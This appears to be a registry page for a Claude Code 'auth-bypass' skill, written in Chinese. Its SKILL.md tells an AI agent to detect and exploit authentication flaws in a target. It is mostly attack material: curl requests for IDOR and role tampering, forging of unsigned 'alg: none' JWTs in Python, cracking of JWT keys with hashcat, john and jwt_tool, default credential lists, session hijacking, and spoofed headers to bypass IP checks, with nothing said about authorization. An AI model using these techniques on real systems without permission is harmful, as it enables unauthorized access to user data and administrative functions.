Claude-skill-registry auth-bypass
认证绕过漏洞检测与利用。当目标存在登录功能、权限控制、JWT/Session 认证时使用。包括 IDOR、越权访问等。
install
source · Clone the upstream repo
git clone https://github.com/majiayu000/claude-skill-registry
Claude Code · Install into ~/.claude/skills/
T=$(mktemp -d) && git clone --depth=1 https://github.com/majiayu000/claude-skill-registry "$T" && mkdir -p ~/.claude/skills && cp -r "$T/skills/data/auth-bypass" ~/.claude/skills/majiayu000-claude-skill-registry-auth-bypass && rm -rf "$T"
manifest:
skills/data/auth-bypass/SKILL.mdsource content
认证绕过 (Authentication Bypass)
绕过应用程序的认证和授权机制,获取未授权访问。
常见指示器
- 登录/注册功能
- 用户 ID 参数(user_id=, uid=, id=)
- JWT Token
- Session Cookie
- 角色/权限参数(role=, is_admin=, level=)
- API 端点(/api/admin/, /api/user/)
检测方法
1. IDOR 测试
# 修改用户 ID curl "http://target.com/api/user/1" -H "Cookie: session=xxx" curl "http://target.com/api/user/2" -H "Cookie: session=xxx" # 修改资源 ID curl "http://target.com/api/order/1001" -H "Cookie: session=xxx" curl "http://target.com/api/order/1002" -H "Cookie: session=xxx"
2. 权限参数测试
# 修改角色参数 curl -X POST "http://target.com/api/profile" \ -H "Cookie: session=xxx" \ -d '{"name":"test","role":"admin"}' # 修改权限标志 curl -X POST "http://target.com/api/profile" \ -H "Cookie: session=xxx" \ -d '{"name":"test","is_admin":true}'
攻击向量
IDOR (不安全的直接对象引用)
# 水平越权 - 访问其他用户数据 /api/user/1 → /api/user/2 /api/order/1001 → /api/order/1002 /download?file=user1.pdf → /download?file=user2.pdf # 垂直越权 - 访问管理员功能 /api/user/profile → /api/admin/users /dashboard → /admin/dashboard # 参数污染 /api/user?id=1 → /api/user?id=1&id=2 /api/user?id[]=1 → /api/user?id[]=1&id[]=2
权限参数篡改
// 修改角色 {"username":"test","role":"user"} → {"username":"test","role":"admin"} // 修改权限标志 {"username":"test","is_admin":false} → {"username":"test","is_admin":true} // 修改用户级别 {"username":"test","level":1} → {"username":"test","level":99} // 添加隐藏参数 {"username":"test"} → {"username":"test","admin":true}
JWT 攻击
# 1. 修改算法为 none # Header: {"alg":"none","typ":"JWT"} # 移除签名部分 # 2. 修改算法 RS256 → HS256 # 使用公钥作为 HMAC 密钥签名 # 3. 弱密钥爆破 hashcat -a 0 -m 16500 jwt.txt wordlist.txt john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256 # 4. 修改 payload # 解码 → 修改 user_id/role → 重新编码
Session 攻击
# Session 固定 # 1. 获取未认证 session # 2. 诱导用户使用该 session 登录 # 3. 使用同一 session 访问 # Session 预测 # 分析 session 生成规律,预测有效 session # Session 劫持 # 通过 XSS 窃取 session cookie
默认凭据
admin:admin admin:password admin:123456 root:root root:toor test:test guest:guest user:user administrator:administrator
HTTP 方法绕过
# 尝试不同 HTTP 方法 curl -X GET "http://target.com/admin" curl -X POST "http://target.com/admin" curl -X PUT "http://target.com/admin" curl -X DELETE "http://target.com/admin" curl -X PATCH "http://target.com/admin" curl -X OPTIONS "http://target.com/admin" curl -X HEAD "http://target.com/admin" # 方法覆盖 curl -X POST "http://target.com/admin" -H "X-HTTP-Method-Override: PUT" curl -X POST "http://target.com/admin" -H "X-Method-Override: PUT"
路径绕过
# 大小写 /admin → /Admin → /ADMIN # 路径遍历 /admin → /./admin → /../admin/ # URL 编码 /admin → /%61%64%6d%69%6e # 双斜杠 /admin → //admin → /admin// # 添加扩展名 /admin → /admin.json → /admin.html # 添加参数 /admin → /admin?anything → /admin#anything
JWT 工具使用
jwt_tool
# 解码 JWT python3 jwt_tool.py <JWT> # 测试所有攻击 python3 jwt_tool.py <JWT> -M at # 修改 payload python3 jwt_tool.py <JWT> -T # 爆破密钥 python3 jwt_tool.py <JWT> -C -d wordlist.txt
手动 JWT 操作
import base64 import json # 解码 def decode_jwt(token): parts = token.split('.') header = json.loads(base64.urlsafe_b64decode(parts[0] + '==')) payload = json.loads(base64.urlsafe_b64decode(parts[1] + '==')) return header, payload # 编码 (无签名) def encode_jwt_none(payload): header = {"alg": "none", "typ": "JWT"} h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=') p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=') return f"{h.decode()}.{p.decode()}."
绕过技术
前端验证绕过
# 直接调用 API,绕过前端检查 curl "http://target.com/api/admin/users" -H "Cookie: session=xxx" # 修改响应中的权限标志 # 使用 Burp 修改响应: {"is_admin":false} → {"is_admin":true}
IP 限制绕过
# 添加 IP 头 X-Forwarded-For: 127.0.0.1 X-Real-IP: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-Client-IP: 127.0.0.1 True-Client-IP: 127.0.0.1
Referer 检查绕过
# 添加 Referer 头 Referer: http://target.com/admin Referer: http://target.com/ # 空 Referer Referer:
最佳实践
- 先枚举所有 API 端点和参数
- 测试 IDOR:修改 ID 参数访问其他用户数据
- 测试权限参数:添加 role、is_admin 等参数
- 分析 JWT/Session:尝试修改或伪造
- 尝试不同 HTTP 方法和路径变形
- 检查前端 JS 中的隐藏 API 和参数
- 使用 Burp 拦截并修改请求/响应